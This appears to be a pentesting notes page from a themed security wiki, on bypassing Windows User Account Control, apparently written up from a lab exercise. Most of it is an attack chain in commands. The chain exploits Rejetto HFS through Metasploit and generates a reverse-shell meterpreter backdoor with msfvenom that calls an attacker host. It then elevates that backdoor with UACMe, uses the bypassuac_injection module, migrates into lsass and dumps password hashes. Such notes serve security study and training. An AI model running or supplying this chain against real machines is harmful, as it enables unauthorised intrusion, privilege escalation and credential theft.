Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • Bypassing
  • UACMe
  • Memory Injection w/ Metasploit
  1. Marauder's Boost
  2. Windows PrivEsc

Bypassing UAC

PreviousWindows Kernel ExploitNextAccess Token Impersonation

Last updated 3 months ago

User Account Control (UAC) is a Windows security feature introduced in Windows Vista to prevent unauthorized system changes. It ensures that any modification to the operating system requires approval from an administrator or a user with administrative privileges.

  • Non-privileged users executing programs with elevated privileges will receive a UAC credential prompt.

  • Privileged users will see a UAC consent prompt before the action is approved.

Bypassing

To bypass UAC, an attacker needs access to a local administrator account on the target system.

  • UAC prompts users before executing programs with administrative rights.

  • UAC operates at different integrity levels (Low to High). If set below High, certain programs can execute without user confirmation.

  • Various tools and techniques can be used to bypass UAC, depending on the Windows version.

UACMe

UACMe is an open-source and powerful privilege escalation tool. It automates UAC bypass techniques to execute processes with elevated privileges without triggering UAC prompts.

It provides a comprehensive and well-documented list of methods for bypassing UAC across multiple Windows versions, from Windows 7 to Windows 10. By exploiting the built-in Windows AutoElevate tool, it enables attackers to execute malicious payloads on a target system with administrative or elevated privileges.

## TARGET MACHINE

# Lists all user accounts on the system. This command helps identify available user accounts, including standard and administrator accounts.
net users

# Displays the members of the local Administrators group.
net localgroup administrators
## ATTACKER MACHINE

nmap [TARGET IP]

# w/ Metasploit
msfconsole
setg RHOSTS [TARGET IP]
search rejetto
use exploit/windows/http/rejetto_hfs_exec
show options
exploit
## TARGET MACHINE using meterpreter

# target machine local enumeration
sysinfo
pgrep explorer / ps -S explorer.exe
migrate 2448
getsystem # elevation check
getuid
getprivs
shell
net user
net localgroup administrators

## ATTACKER MACHINE

# using UACMe
# Source > Akagi
# Default Settings required. Run executable from command line: 
akagi32 [Key] [Param] 
# or 
akagi64 [Key] [Param]
# First parameter is number of method to use, second is optional command (executable file name including full path) to run. Second parameter can be empty - in this case program will execute elevated cmd.exe from system32 folder.
# binary needs to be compiled

# meterpreter payload > upload that to the target > bypass UAC to execute this
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ATTACKER IP] LPORT=[PORT] -f exe > backdoor.exe

# multi handler setup
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [ATTACKER IP]
set LPORT [PORT]
exploit

## TARGET MACHINE using meterpreter

pwd
getuid
getprivs
cd C:\\
mkdir Temp
cd Temp
upload backdoor.exe
upload Akagi64.3xe
Akagi64.exe 23 backdoor.exe

# new meterpreter session with elevated privilege in the handler

I started by gathering basic information on the target machine, listing all user accounts (net users) and identifying members of the Administrators group (net localgroup administrators). Then, from the attacker machine, I scanned the target using Nmap to identify open ports and services.

I leveraged Metasploit to exploit the Rejetto HFS vulnerability, gaining an initial foothold on the target. Once inside, I used Meterpreter to enumerate system details (sysinfo), check running processes (pgrep explorer), migrate to a stable process, and verify privileges.

To escalate privileges, I utilized UACMe, an open-source privilege escalation tool, to bypass User Account Control (UAC). I created a Meterpreter payload using msfvenom, uploaded it to the target machine, and executed it with elevated privileges using UACMe (Akagi64.exe 23 backdoor.exe).

Finally, I set up a multi-handler on Metasploit to catch the reverse shell connection from the backdoor, successfully establishing a new Meterpreter session with elevated privileges on the target.

Memory Injection w/ Metasploit

use exploit/windows/local/bypassuac_injection
set session 1
set TARGET 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

getsystem
getuid

ps -S lsass.exe
migrate 484

hashdump

I used the bypassuac_injection exploit to escalate privileges on a Windows machine. After setting the session and payload, I executed the exploit.

Once inside, I ran getsystem to gain SYSTEM privileges and confirmed my user identity with getuid.

Next, I listed processes searching for lsass.exe and migrated to its PID (484) for stability. Finally, I dumped password hashes using hashdump for credential extraction.

🌼
GitHub - hfiref0x/UACME: Defeating Windows User Account ControlGitHub
Logo